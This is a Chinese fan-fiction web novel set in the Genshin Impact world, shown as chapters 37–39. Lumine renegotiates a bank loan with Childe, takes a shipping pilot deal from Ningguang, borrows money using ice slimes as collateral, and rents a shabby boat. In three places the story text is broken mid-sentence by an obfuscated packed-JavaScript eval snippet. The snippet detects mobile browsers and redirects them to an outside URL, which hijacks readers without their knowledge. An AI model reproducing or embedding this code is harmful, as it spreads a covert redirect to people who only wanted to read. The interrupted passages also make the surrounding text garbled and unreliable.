荧："等于这三个月的18%利率从法律上站不住脚。" 她拿起外套。 "走，去北国银行。" 派蒙："现在？" 荧转头看了看还坐在大厅的众人。 "年终大会到此为止。香菱，你和丘丘人先准备午市。钟离先生——" 钟离已经站起身，端着茶杯往门口走。 "我还有别的事，先走了。" 他走到门口，停了一下。 "关于那个通知地址的问题，你的判断没错。去谈吧。" 说完就走了。 荧和派蒙出了门，直奔北国银行。 荧："趁对面还没发现自己寄错了地址。" 37.年终盘点（下） 北国银行璃月分行。 金色的大门，大理石地板，柜台后面坐着几个穿至冬制服的职员。 荧走进去的时候，心里冒出一个荒诞的念头。 前世她做策划，最怕的是跟甲方财务部谈预算。但那些甲方财务顶多卡你的款，不会召唤古神淹了你的城市。眼前这位甲方财务，上个版本刚释放了旋涡魔神差点把璃月港沉到海底。 而她现在要找这位去讨五千摩拉。 如果这是游戏里的支线任务，任务描述大概会写："去北国银行与愚人众第十一席执行官就贷款利率问题进行友好协商。"奖励：五千摩拉。难度：地狱。 大厅里安安静静。 柜台职员抬头看了她一眼："请问有什么需要？" 荧把贷款合同、对账单、那封信和计算器一起放在柜台上。 "我找你们的负责人。" 职员看了看文件，脸色微变："请稍等。" 五分钟后，公子从后面的办公室走出来。 他穿着一身深色的正装，和比赛那天的便装完全不同。在银行里的公子看起来更锋利，眼神也更冷。 但他看到荧时，还是笑了。 "荧小姐，这么快就来了？" 荧把文件推到他面前。 "公子，我有三个问题。" 公子坐下来，示意她说。 荧竖起第一根手指。 "第一，贷款合同第十四条第三款，利率上浮需以书面形式通知借款人，送达至合同登记地址。我的登记地址是璃月望舒客栈，但你们的通知寄到了清泉镇分店。请问这份通知算有效送达吗？" 公子拿起那封信看了看，神色没什么变化。 荧竖起第二根手指。 "第二，按照无效送达的逻辑，过去三个月的利率上浮不成立。多扣的约五千摩拉应当退还或抵扣后续本金。" 公子放下信，依然没说话。 荧竖起第三根手指。 "第三，我提议重新协商利率。望舒客栈目前是璃月年度最佳商会，经营状况和社会信誉都在上升。按照北国银行自己的客户分级标准——" 她从包里掏出一本小册子。 是北国银行的公开宣传册，上面写着"优质商户可享受12%基础利率"。 "我们符合优质商户的标准。" 公子看着那本宣传册，笑了。 "你什么时候拿到的这个？" 荧："进门的时候，你们大厅的展示架上摆着。" 公子笑着摇了摇头。 "荧小姐，你说得没错。通知地址确实有瑕疵。这一点是我们的疏忽。" 他的语气很坦然，没有丝毫辩解的意思。 "多扣的部分，我同意抵扣后续本金。" 荧点头。这一步在预期之内。 "至于利率——" 公子靠在椅背上，看着荧。 "12%可以。但我有一个条件。" 荧："什么条件？" 公子："璃月即将开通直达稻妻的航线。到时候会有大量跨国旅客和商人经过。北国银行有一款旅行者汇兑券，方便不同地区的货币兑换。" 他顿了顿。 "我希望望舒客栈代销这款汇兑券。每售出一张，你抽5%佣金。" 荧没有立刻回答。 汇兑券。不是换汇窗口，不需要北国银行派人驻场，只是帮忙卖一张券。 表面上看，这比之前的VIP方案温和得多。没有宣传物料，没有银行据点，只是多了一样可以卖的商品。而且还有5%的佣金。 但荧知道这里面的门道。 望舒客栈一旦开始卖北国银行的金融产品，在旅客眼里就和北国银行绑定了。时间一长，北国银行可以逐步加码——今天是汇兑券，明天可能是存款业务，后天就是全套金融服务。 温水煮青蛙。 但12%的利率确实太香了。 月息从三千七百五十降到两千四百五十，一个月省一千三，一年省一万五。加上多扣的五千抵回来，一来一回差两万。 两万摩拉。 荧在心里飞速盘算。 汇兑券代销有风险，但可控。只要她不签独家代理，不承诺销售额，就不会被套牢。至于北国银行想用这个做跳板慢慢渗透，那是长期的事。她只需要在短期内吃下这个甜头，把省下来的钱先还债。等债还清了，她随时可以停掉代销。 "可以。" 荧说。 "但我有三个附加条件。第一，代销不是独家代理，望舒客栈同时可以销售其他金融产品。第二，不设最低销售额，卖多卖少随客栈实际客流决定。第三，代销协议一年一签，任何一方可在到期后选择不续约。" 公子看了她几秒。 然后他笑了。 "荧小姐，你应该来北国银行工作。" 荧："我欠你们二十五万，已经在为你们工作了。" 公子愣了一下，然后大笑起来。 这是荧第一次看到公子笑得这么真。不是商业性的微笑，不是意味深长的笑，是被逗乐了。 荧心想，游戏里公子的好感度大概刚涨了一格。可惜这不是恋爱养成，好感度涨了也换不来利率减免。 哦等等，好像真换来了。 公子收住笑，伸出手。 "成交。我让人拟协议，明天送到望舒客栈。" 荧握了握他的手。 公子的手很凉。至冬人。 松开手之后，公子站起身。 "荧小姐，做生意最怕的不是对手太强，而是对手既聪明又缺钱。因为你永远猜不到一个缺钱的聪明人下一步会干什么。" 荧："公子过奖。" 公子："不是夸你。是提醒自己。" 他转身往办公室走，走了两步又停下。 "对了。美食大赛那天，你的容器碎了之后，你蹲下来捡碎片的那一刻——我当时就知道你不会认输。" 他没有回头。 "正因如此，我才觉得你很危险。" 门关上了。 派蒙在荧耳边小声说："荧，你说他是在夸你还是在威胁你？" 荧："都是。" 她把文件收好，走出北国银行。 阳光很好。 利率从18%降到12%，多扣的五千抵回来了，代销佣金还能额外赚一笔。 荧在心里重新算了一下。 如果按12%利率，加上代销佣金的收入，再加上明年税收减免和新贸易航路带来的利润增长，最快一年半可以把北国银行的二十五万还清。 一年半。 她加快了脚步。 三天后，天权星凝光的私人办公室。 凝光坐在巨大的办公桌后面，面前摆着一杯茶和一摞文件。 荧坐在对面，派蒙飘在她旁边。 凝光翻着望舒客栈的年度报告。 "全年总收入三十五万，总支出三十四万五，净利润五千四百二十七摩拉。" 她抬起头。 "你用五千摩拉的利润撬动了三十万的债务周转，还拿了璃月年度最佳商会。" 荧："勉强活着。" 凝光微微一笑："璃月港这两年倒闭的商户有三百多家。你不是勉强活着，你是在刀尖上跳舞还没掉下来。" 她合上报告。 "蒙德分店呢？还在运营？" 荧："迪卢克在负责清泉镇那边的日常管理，经营稳定。大伟丘负责厨房，蒙大到蒙五协助。" 凝光点头，忽然从抽屉里拿出一张纸。 "这个是？" 荧接过来看。 是蒙德分店寄回来的上月报表，附了一张照片。照片上是蒙德分店的门口，挂着"望舒客栈·清泉镇分店"的招牌，旁边还有一张芭芭拉特调的宣传海报。 凝光不经意地说："听说你们的芭芭拉特调在蒙德很受欢迎？" 荧："是的，销量一直不错。" 凝光："有没有多余的周边？就是演唱会那批。" 荧愣了一下。 天权星凝光，璃月七星之首，群玉阁的主人，手握璃月半数商业情报的女人——在跟她要偶像周边。 荧前世刷过凝光的角色PV，知道这位大佬外表精明冷酷，内心其实藏着不少少女爱好。游戏里的隐藏剧情就提过她私下收集各种奇奇怪怪的小玩意儿。 没想到亲眼看到了。 凝光面不改色："我对蒙德的商业运作模式很感兴趣，想研究一下你们的周边策略。纯粹是商业学习目的。" 派蒙在旁边偷偷看了荧一眼。 荧忍住笑："我回去找找，如果还有存货，给天权大人送一套过来。" 凝光："嗯。顺便把那套鸽子明信片也带上。我听说你们在蒙德卖了一款鸽子主题的明信片？" 荧："有的。" 凝光："我对邮政衍生品的商业价值很感兴趣。" 她说完，端起茶杯抿了一口，表情极为认真。 荧在心里默默记下：天权星凝光，芭芭拉周边+鸽子明信片，各一套。收藏爱好，已备案。 凝光放下茶杯，语气忽然正经起来。 "说正事。" 她拿出一份文件递给荧。 "璃月港即将开通直达稻妻的定期航线。七星需要一个试点商户，负责为跨国旅客提供中转服务。鉴于你在蒙德已经有跨区域经营的成功经验——" 荧打断："天权大人，我那个叫成功吗？" 凝光微笑："至少你没破产。而且你在欠着三十万债务的情况下拿了年度最佳商会。这在璃月商界已经算奇迹了。" 她把文件翻到第二页。 "航线将在两个月后正式开通。试点商户需要完成三件事：第一，在望舒客栈设立稻妻旅客中转服务台；第二，配合总务司对接稻妻社奉行的商贸规则；第三，提供至少一种跨区域特色商品或服务。" 荧接过文件仔细看。 "补贴呢？" 凝光面无表情："没有。" 荧："一分都没有？" 凝光："试点商户承担风险，享受先发优势。航线开通后的第一批跨国旅客都会经过你这里，别人想抢这个位置还抢不到。" 荧在心里叹了口气。璃月七星的套路和前世的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148387|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲方一模一样——没有预算，但给你"曝光机会"。 派蒙举手："去稻妻！我听说稻妻有好吃的！" 荧看了她一眼。 派蒙立刻补充："当然，我是从商业考察的角度出发的。" 荧又看了她一眼。 派蒙认怂："好吧，我就是想吃。" 凝光不动声色地把文件推到荧面前。 "你有一周时间考虑。" 荧拿起文件，站起来准备告辞。 走到门口时，凝光忽然说了一句。 "对了，你们客栈地下室那扇岩元素封印的门，查过了吗？" 荧停住了。 "你知道那扇门？" 凝光端着茶杯，没有看她。 "前任掌柜欠了不少人的钱。他走之前，往客栈地下室搬了不少东西。那扇门是后来才封上的。" 荧："后来？被谁封的？" 凝光喝了一口茶。 "你猜。" 她没有再说了。 荧站在门口，看了凝光两秒。 凝光的表情很平静，但荧知道，天权星从来不会无缘无故提一件事。她提地窖门，就是在暗示什么。 而且"你猜"这两个字，言下之意是——你应该猜得到。 荧转身离开。 回客栈的路上，派蒙一直在念叨稻妻的美食。 "荧，我听说稻妻有一种叫蒲烧鳗鱼的东西，外皮焦脆，里面软嫩，酱汁甜甜的——" 荧没理她。 她脑子里在飞速翻检游戏里的信息。 岩元素封印。璃月。能做到这种事的人，一只手数得过来。 普通岩元素角色可以制造岩构物，但那是临时的，过一段时间就会碎裂消失。能做出这种永久性岩石封印的，需要极高的岩元素掌控力。 荧在心里列了一张名单。 第一，岩王帝君。摩拉克斯本尊。他想封什么就封什么，整个璃月的地脉都是他的手笔。但岩王帝君已经"退休"了，以钟离的身份住在璃月港，天天喝茶品古董。他会跑来封一个小客栈的地窖门？ 第二，留云借风真君。仙人之一，岩元素造诣极深。但留云真君的风格是大开大合的仙术，不是这种精密的封门手法。 第三，钟离本人。虽然他表面上是个"普通顾问"，但他就是岩王帝君。如果有人请他帮忙，他完全做得到。 第四…… 荧忽然想到一个可能。 前任掌柜欠了很多人的钱然后跑了。他在跑之前把东西搬进地窖。门是"后来"才封的——也就是说，是在前任跑了之后，有人来把门封上的。 谁会在前任掌柜跑路之后来封门？ 如果门里面有什么不该流出去的东西呢？ 凝光说"你猜"，而不是直接告诉她。这说明封门的人身份特殊，凝光不方便明说。 在璃月，有什么人的身份是连天权星都不方便直说的？ 答案太明显了。 荧深吸一口气，把这个念头暂时按下去。 她回到客栈，走到地窖入口，推开那扇吱呀作响的旧木门，走下台阶。 灰尘。蛛网。霉味。 地窖尽头，是那扇她半年前就发现的岩元素封印门。 厚重的岩石覆盖在门上，纹路整齐，绝不是天然形成的。 荧伸手摸了摸岩石表面。 冰凉。坚硬。纹理流畅。手指划过去，能感受到岩石内部隐约的元素脉动，像某种沉睡的力量。 这不是"封"，是"护"。 这扇门不是为了把人关在外面，是为了保护里面的东西。 荧收回手，盯着那道封印看了很久。 钟离几乎每周都来客栈喝茶。他从来没提过这扇门。 是不知道，还是不想说？ 她上了楼。 派蒙还在念叨鳗鱼。 荧坐回前台，翻开稻妻航线的文件。 稻妻。雷神巴尔泽布的国度。锁国令刚解除不久，整个国家的商业体系还在重建期。 作为一个玩过原神的人，荧对稻妻的了解比璃月任何一个商人都多。社奉行管商贸、天领奉行管军事、勘定奉行管土地。三奉行的权力结构复杂，商贸规则和璃月完全不同。而且锁国令期间积压了大量的贸易需求，航线一开，短期内会出现爆发式增长。 这是机会，也是深坑。 再加上公子的汇兑券——跨国旅客是汇兑券的核心客户群，稻妻航线一开，望舒客栈的汇兑券销量会自动起飞。 这两件事咬合得太完美了。凝光给她稻妻试点任务，公子给她汇兑券代销。一个是璃月七星，一个是愚人众。两边同时把棋子摆到她的桌上。 荧不相信这是巧合。 但眼下她没有拒绝的资本。十八万现金流听着多，明年的债务窟窿更大。稻妻航线带来的客流增量是实打实的，不接就是白白让给别人。 新的一年，新的坑。 不过她现在已经习惯了。 望舒客栈的经营模式本来就是——一边填旧坑，一边跳新坑。 她提起笔，在文件的空白处写了一行字： "稻妻。" 38.新线路——稳沉号（上） 荧盯着稻妻航线的文件看了一整晚，列了一张清单。 要跑稻妻航线，最起码需要三样东西：一条船，一批货，一个靠谱的航行方案。 货的问题可以后面解决。航行方案可以找北斗请教。 但船不能等。 航线两个月后开通，璃月港的商船租赁市场已经开始涨价了。消息灵通的商户早就在抢运力，等到航线正式开通再去租，价格至少翻一倍。 荧翻开账本。 十八万摩拉。 看着挺多，但这笔钱是还债用的。璃月商会五万、北国银行二十五万，加上日常运营开支，账上的钱一分都不能乱动。 她需要一个低成本方案。 前世玩原神的时候，出海就是点一下浪船锚点，两秒钟传送。现在她要自己搞一条真船，还得自己开。这就好比你在游戏里骑马按W就能跑，现实里你得先买匹马、给马上户口、办运输许可、再学骑术。 穿越的代价就是把所有快捷键还给了现实。 派蒙飘过来，嘴里还嚼着昨晚庆功宴剩下的莲花酥。 "荧，你在发愁什么？" 荧："我需要一条船，但不想花太多钱。" 派蒙想了想："多少钱算太多？" 荧："超过两千就太多了。" 派蒙差点把莲花酥喷出来："两千摩拉？！你要租船还是租澡盆？" 荧面无表情："璃月港最便宜的商船月租是五千。我们两千都拿不出来。" 派蒙："为什么不从账上出？" 荧："因为账上的钱有主。你想想，如果我们动了还债的钱去租船，万一出海亏了，不仅船钱白花，还债的钱也没了。到时候北国银行追债，璃月商会催款，我们就真的破产了。" 荧顿了顿，接着说。 "而且公子不会放过我们。他会非常优雅地微笑着收走我们的一切，然后说''荧小姐，做生意最怕的就是现金流断裂''。" 派蒙打了个寒颤："别学他说话，好可怕。" 荧也觉得自己学得太像了，赶紧收住。 "总之，不能动账上的钱。得另想办法。" 这时候，初号机跑过来，手里举着小本子。 上面画了一幅画：一只圆滚滚的史莱姆，头顶一个摩拉符号，旁边写着"哒哒"。 荧看了看画，又看了看初号机。 "你想说什么？" 初号机指了指画上的史莱姆，又指了指院子里蹦跶的那群冰史莱姆。 派蒙忽然眼睛一亮。 "荧！史莱姆！" 荧："什么？" 派蒙兴奋地飘到半空："我们可以用史莱姆当抵押去借钱！" 荧愣了一秒。 用史莱姆。当抵押。借钱。 前世做金融策划的时候，她见过拿房子抵押的，拿车抵押的，拿股权抵押的，拿未来收益权抵押的，甚至见过拿域名抵押的。 拿史莱姆抵押的，没见过。 但话说回来，她前世也没见过会蹦跶的果冻能当员工。既然丘丘人能持证上岗，史莱姆凭什么不能当抵押物？这个世界的底线已经被她亲手拉低了，现在只是在底线下面继续挖。 "行秋。"荧说。 派蒙："对！行秋！他上次就借过我们钱，而且他是飞云商会的少爷，见多识广，应该能接受这种，呃，创新型抵押方案。" 荧看着派蒙，心想你这个"创新型抵押方案"说得还挺专业的。不愧是跟着自己混了大半年的应急食品，终于学会了资本的语言。 "行。我先写份材料。" 派蒙："什么材料？" 荧翻出一本空白的册子："你觉得我们空口白牙跑去说''借一千五，抵押物是三十只冰果冻''，行秋会借吗？" 派蒙想了想："不会。" 荧："所以需要一份正式的资产评估报告。做得越专业，对方越不好意思拒绝。这叫''用专业感绑架决策者''，前世每个乙方都会的技能。" 四十分钟后，一份正式文件诞生了。 封面用初号机的简笔画风格画了一只冰史莱姆，蓝莹莹的，表情傻乎乎的，下面是标题： 《望舒客栈冰史莱姆资产评估报告》 荧对着封面看了一会儿。前世她给甲方做BP，封面都是极简风，黑白灰配色，一个Logo加一行标题。现在封面是一只手绘果冻。 这就是穿越带来的审美降级。 翻开第一页。 资产清单—— 冰史莱姆：30只，经评估，单只市场价值50摩拉（含制冷功能附加值），合计1500摩拉。 附加价值说明：冰史莱姆具备天然制冷能力，可用于食材保鲜、夏季客房降温、冷饮制作等商业场景，具有不可替代的实用价值。 总计：30只。 总估值：1500摩拉。 附录A：史莱姆健康检查记录（初号机签字盖章——盖的是一个小脚印） 附录B：史莱姆抚摸区营业流水证明 附录C：史莱姆饲养成本与预期寿命分析 荧在心里默默评估了一下这份报告的含金量。 格式：满分。逻辑链完整，数据自洽，附录齐全，比她前世经手的一半融资BP都规范。 内容：离谱。她在用做A轮融资的格式包装三十只冰果冻。 前世她做的BP最离谱的一份，是帮一个卖手工耳环的淘宝店做融资计划书。那份BP最后还真拿到了天使轮。 跟那个比起来，史莱姆资产评估报告简直严谨得多。至少史莱姆是真的存在的，而且每只都有健康检查记录。那个耳环店的"核心技术壁垒"是老板娘的审美，连检查记录都没有。 "走，找行秋。" 万文集舍。 行秋坐在书堆后面看书，看到荧和派蒙进来，放下了手里的《涤尘草堂夜话》。 荧每次看到行秋都有一种微妙的感觉。游戏里行秋是她的主力后台输出，挂个水配合班尼特打蒸发，深渊常驻。现实中行秋是她的私人借贷渠道，无息免担保。 仔细想想，不管是游戏里还是现实中，行秋都是辅助位。稳定、可靠、关键时刻顶得上去。 "哟，什么风把你们吹来了？" 荧开门见山："借钱。" 行秋表情都没变——显然不是第一次了："多少？" 荧："一千五百摩拉。" 行秋放下书，表情轻松。一千五百摩拉对飞云商会来说连零头都不算。 "可以。利息免了，什么时候还都行。抵押物呢？" 荧把那份报告递过去。 行秋接过来，看了看封面。 《望舒客栈冰史莱姆资产评估报告》 他盯着封面上初号机画的那只傻乎乎的冰史莱姆看了三秒钟。 表情从轻松变成了困惑。 翻开第一页。 困惑变成了震惊。 翻到附录A——三十只冰史莱姆的健康检查记录，每只都有编号，记录了体重、弹性系数、制冷温度和每日进食量。签字栏盖着初号机的小脚印。 震惊变成了一种说不清楚的复杂情绪。像是被一拳打蒙了但那一拳是用棉花打的。 "你……你拿三十只冰史莱姆当抵押？" 荧面不改色： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152586|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' "总估值一千五百摩拉，刚好覆盖借款本金。" 行秋看了看报告，又看了看荧，再看了看报告。 "这个估值是怎么算的？" 荧："单只市场价值参考了璃月宠物市场的活体交易均价，结合史莱姆抚摸区的营业流水进行了现金流折现估值，附录B有详细数据。" 她说这段话的时候语速平稳、吐字清晰，和前世在投资人面前路演的状态一模一样。区别在于前世她在推销的是"基于区块链的供应链金融解决方案"，现在推销的是三十只冰果冻。 行秋的嘴角抽了一下。 他翻到附录C。 "史莱姆饲养成本与预期寿命分析？" 荧："年饲养成本约200摩拉，预期寿命未知但目前全部健康，详见附录A的健康检查记录。" 行秋合上报告，沉默了很久。 荧能看出他内心正在经历剧烈的思想斗争。一方面是飞云商会大少爷的商业素养在疯狂摇头，另一方面是他作为读书人对"认真做一件荒诞的事"这种行为艺术的深层欣赏。 最后商业素养输了。 行秋笑了。 "荧，你知道吗，我看过很多商业计划书。飞云商会每年收到的融资申请少说几百份。" 荧等着他说下去。 "但拿冰史莱姆做抵押的，你是第一个。而且你是唯一一个让我觉得''好像也不是不行''的。" 他打开抽屉，拿出一千五百摩拉放在桌上。 "钱拿去。报告我留着。" 荧："谢谢。" 行秋拿起那份报告又翻了翻，特别在附录A的小脚印上停了一会儿。 "这份报告写得比飞云商会一半的融资申请都专业。说真的，如果把''冰史莱姆''换成''矿产资源''或者''不动产''，这份报告拿到天权星那里都不会被退回来。" 他看着荧，认真地说： "如果你哪天不开客栈了，可以来飞云商会做投资分析师。" 荧心想，谢谢，前世干过，年薪四十万，累到脱发。现在穿越到提瓦特拿冰果冻换钱，虽然离谱但至少不脱发。 不去。 派蒙在旁边偷偷比了个耶。出门之后又偷偷回头看了一眼，确认行秋真的把钱放桌上了，这才放心。 拿到钱之后，荧和派蒙直奔璃月港码头。 稻妻航线即将开通的消息已经传开了，码头上到处是打听船只租赁的商人。穿绸缎的、穿皮甲的、穿至冬制服的，一个比一个财大气粗。 荧走了一圈，心凉了半截。 最便宜的商船月租五千。中等的八千到一万。大型的两万起步。 一千五百摩拉能租到的，大概只有码头上系缆绳的柱子。 荧看着那些漂亮的大商船，心里涌起一种熟悉的感觉——前世逛车展的感觉。奔驰宝马保时捷，每一辆都好看，每一辆都买不起。最后开回家的是二手本田飞度。 今天的情况差不多。只不过飞度变成了船。 派蒙也垂头丧气："荧，一千五百真的太少了。要不我们回去再借点？" 荧："找谁借？" 派蒙想了半天："北斗？" 荧："北斗是船长，不是银行。" 派蒙："胡桃？" 荧："胡桃是殡葬业的。你想让往生堂赞助我们出海？" 派蒙想象了一下望舒客栈的船帆上印着"往生堂——你的最后一程，由我们守护"的广告，打了个冷战。 "算了算了。" 荧没有放弃。她拉着派蒙走到码头最深处，那里停着几艘明显破旧的老船，吃水线都锈了，桅杆歪歪扭扭。 39.新线路——稳沉号（下） 这里是码头的贫民窟。 码头角落有个摊位，一个胡子拉碴的老头在打瞌睡，摊位上插着一块牌子： "船只出租。价格面议。童叟无欺。" 旁边还有一行小字： "概不负责航行安全。" 荧看了看那行小字。 前世她租过写着"不负责停车安全"的停车场，住过写着"不负责贵重物品"的酒店。但"不负责航行安全"是第一次见。这等于饭店门口挂个牌子"不负责食品卫生"。 但她还是走了过去。 穷人没有嫌弃的资格。 "老板，有没有一千五百摩拉以内能租的船？" 老头睁开一只眼看了她一眼。那一只眼里写满了"你在逗我"。 "一千五百？" 荧点头。 老头另一只眼也睁开了。上下打量了她一遍，目光在她身上停了一会儿——大概在判断这个年轻姑娘是来开玩笑的还是真的这么穷。 判断结果：真的这么穷。 他指了指码头最远的角落。 "那边，最后一条。" 荧和派蒙走过去。 一条小型商船静静地停在码头末端，和旁边其他船保持着微妙的距离——荧怀疑是其他船主故意离它远一点，怕掉漆传染。 船身斑驳，木头的颜色深浅不一，有些地方明显是后来补上去的，颜色完全对不上，像一件打了七八个不同颜色补丁的衣服。桅杆倒是直的，但帆面上打了好几个补丁。船头刻着两个大字，漆已经掉了一半，但还能看清： "稳沉"。 派蒙念出来："稳……沉？" 她的语气充满了不确定，好像多念一遍这两个字就会召唤出什么不好的东西。 老头慢悠悠走过来："稳沉号。老船了，跑过十几趟璃月到蒙德的航线。" 荧："为什么叫稳沉？" 老头挠了挠头："前任船主取的名字。他说这船''稳稳当当，沉不下去''。" 荧的脑子里瞬间弹出一串flag清单。 泰坦尼克号："永不沉没。"沉了。 挑战者号航天飞机："万无一失。"炸了。 她前世的公司："我们不裁员。"裁了。 凡是敢在名字或者口号里说"不会出事"的，最后都出事了。这是宇宙铁律，穿越到提瓦特也不会变。 "稳沉"这个名字，翻译过来就是："快来沉我。" 但一千五百摩拉。 荧看了看稳沉号，又回头看了看码头那些动辄五千一万的漂亮船。 游戏里切换角色只要点一下，现实里选择全靠钱包厚度。她的钱包只够点这一下。 派蒙凑到荧耳边小声说："荧，这船看起来好像随时会散架。" 荧也小声说："但它只要一千五。" 派蒙看了看船，又看了看荧。 "一千五能买几份甜甜花酿鸡来着？" 荧："七十五份。" 派蒙陷入了人生中最艰难的抉择。一边是七十五份甜甜花酿鸡，一边是一条名字里写着"沉"的破船。 最终她做出了痛苦的决定："租吧。" 派蒙说这两个字的时候，语气像是在签卖身契。 荧跟老头签了租约。月租一千五百摩拉，押金免（因为老头原话是"这船不值押金的钱"），租期三个月，可续租。 荧在心里把这句话翻译了一下。前世中介说"这房子小了点但是通风好"，意思是"窗户关不严"。老头说"不值押金的钱"，意思大概是"你交了押金我也不好意思收"。 签完字，老头递过船钥匙——一把生锈的铜钥匙，上面的铜绿比铜都多——然后转身就走。 走了两步又回头。 "对了，姑娘，有个事忘了提。" 荧："什么事？" 老头想了想："也没什么大事。就是遇到风浪的时候，别走右舷。" 荧："为什么？" 老头："右舷第三块船板有点松。踩重了会掉。" 说完，走了。没有回头，没有补充，甚至没有给她反应的时间。 荧站在原地消化了一下这条信息。 她刚才签了一份月租一千五百摩拉的租船合同，船的名字叫"稳沉"，不收押金因为"不值那个钱"，而且右舷有块板踩重了会掉。 如果这是游戏里的剧情对话，这段NPC台词后面应该弹一个选项框： A. "这船安全吗？" B. "我选别的船。" C. "（沉默离开）" 但她的钱包只允许她选隐藏选项D："好的谢谢我买了。" 派蒙飘过来："荧，他说船板会掉？" 荧："他说踩重了才会掉。" 派蒙低头看了看自己的体型。 "那派蒙没问题。派蒙很轻的！" 荧没有被安慰到。不是因为派蒙的逻辑有问题，而是因为她自己的体重明显超过了"踩不掉一块松动船板"的标准。 下午，荧和派蒙正式登船验收。 稳沉号比远处看起来还要破。走近了才发现，船身上的修补痕迹比她想象的还密集。有些地方用的木料颜色完全不同，拼在一起像一幅抽象画。 船舱里弥漫着一股陈年木头和海水混合的味道。 派蒙深吸一口气："大海的气息！" 荧的前世经验更准确地告诉她：这叫霉味。合租房卫生间的那种。 舵轮转起来会嘎吱嘎吱响，像一个上了年纪的老人被迫加班。 帆面上的补丁从远处看是三四个，近看是七八个，每个补丁的布料质地都不一样。荧高度怀疑前任船主补帆的时候是把家里的旧衣服剪了凑上去的。 货舱倒还行，能装大约两吨的货物，对小型商船来说够用。舱壁上有几道水痕，说明以前进过水，但现在干燥。 荧在船上走了一圈，做了个总体评估。 如果满分十分的话—— 船体结构：五分。龙骨没问题，但甲板和部分舱壁老化。 动力系统：四分。帆面勉强够用，但缝补太多，大风天可能扛不住。 安全性：三分。右舷有块板会掉，这一条就扣了七分。 舒适度：负分。 总评：一千五百摩拉的船，给了一千五百摩拉的品质，一分不多一分不少。这叫"一分钱一分货"，也叫"你配。" 她正想着，听到背后有人说话。 "荧。" 荧回头。 钟离站在码头上，手里拿着一个布包。逆光中他的身影挺拔端正，风吹起他的衣角，看起来非常有画面感。 如果这是游戏，这个镜头应该配一段钢琴BGM和慢动作。 但荧现在站在一条掉漆的破船上，脚下的甲板嘎吱响，背景音是海鸥在叫和隔壁渔船在骂人。 气氛不太搭。 "钟离先生？你怎么知道我在这儿？" 钟离走上跳板——跳板在他脚下发出不堪重负的吱嘎声——看了看稳沉号，没有发表评论。 但他的目光在右舷第三块船板上停了一下。 荧注意到了。这个男人，前两天精准说出右舷第三块有问题，今天一上船视线就定位到那个位置。摩拉克斯的洞察力真不是盖的。 他把布包递给荧。 "这个给你。出海用得上。" 荧打开布包。 里面是一张符纸，淡金色，上面画着复杂的纹路，带着淡淡的元素力波动。 避水符。 游戏里的道具。效果是落水时提供短时间的防护结界。稀有度三星，长期玩家背包里一般会堆几十张。 但这张符的做工比游戏里精细得多，纹路几乎是微缩版的岩石纹理。这不是量产货，是手工品，工艺水准极高。 "这个是——" 钟离面不改色："胡桃那边多出来的。她说用不上了。" 荧的大脑处理了一秒钟。 胡桃。往生堂堂主。提瓦特最大的殡葬服务企业负责人。 往生堂的避水符是干什么用的？水上丧葬仪式。给逝者送行的时候防止主持人落水的。 钟离送了她一张丧葬用品。 而且还是"多出来的"。多出来意味着——原本是给某场丧事准备的？那这是"备品"还是"用剩的"？ 荧不敢往下想了。 她快速扫描了一下自己的原神知识库。钟离的人设特征：没钱，什么都蹭。吃饭蹭旅行者的，古玩蹭摊主的，现在连出海用品都蹭往生堂的丧葬库存。 岩王帝君，六千年历史的古神，提瓦特最有排面的存在之一，省钱的方式是翻殡葬业的尾货。 如果这条信息发到游戏社区，标题大概是："震惊！摩拉之神穷到送人丧葬用品，当事人不敢拒绝"。 "谢谢钟离先生。"荧微笑着收下，表情管理堪称完美。 钟离点头，目光又落在稳沉号上。 "这条船，结构尚可，龙骨没有问题。但甲板和右舷的板材需要更换。如果预算有限，至少应该加固右舷的第三块——" 荧："你怎么知道是第三块？" 钟离没有回答这个问题，而是端起了一个不存在的茶杯——他大概是习惯了喝茶时说话。手举到一半发现手里没有杯子，又自然地放下来。 "我对船的结构有所了解。" 荧在心里又默默记了一笔。 "有所了解"。摩拉克斯先生的万能回答。对金融有所了解，对船有所了解，对古玩有所了解，对三千年前的酒有所了解。你对什么没有所了解？大概只有"怎么付账"这一项。 钟离转身下了跳板。 "小心航行。" 他走了。像来的时候一样，悄无声息。 派蒙目送他离开，然后飘过来看那张避水符。 "好漂亮的符纸！钟离先生真好，还专门送来。上面的纹路好精致，是岩元素的吗？" 荧："嗯。" 派蒙把符纸翻过来看了看："好像还有个小印章？''往生堂''？这是胡桃的东西吗？为什么往生堂会有避水符？"35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157700|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 荧：" 大概是丧——旅行用品。旅行安全用品。" 派蒙："哦！胡桃真贴心！" 荧决定永远不告诉她真相。 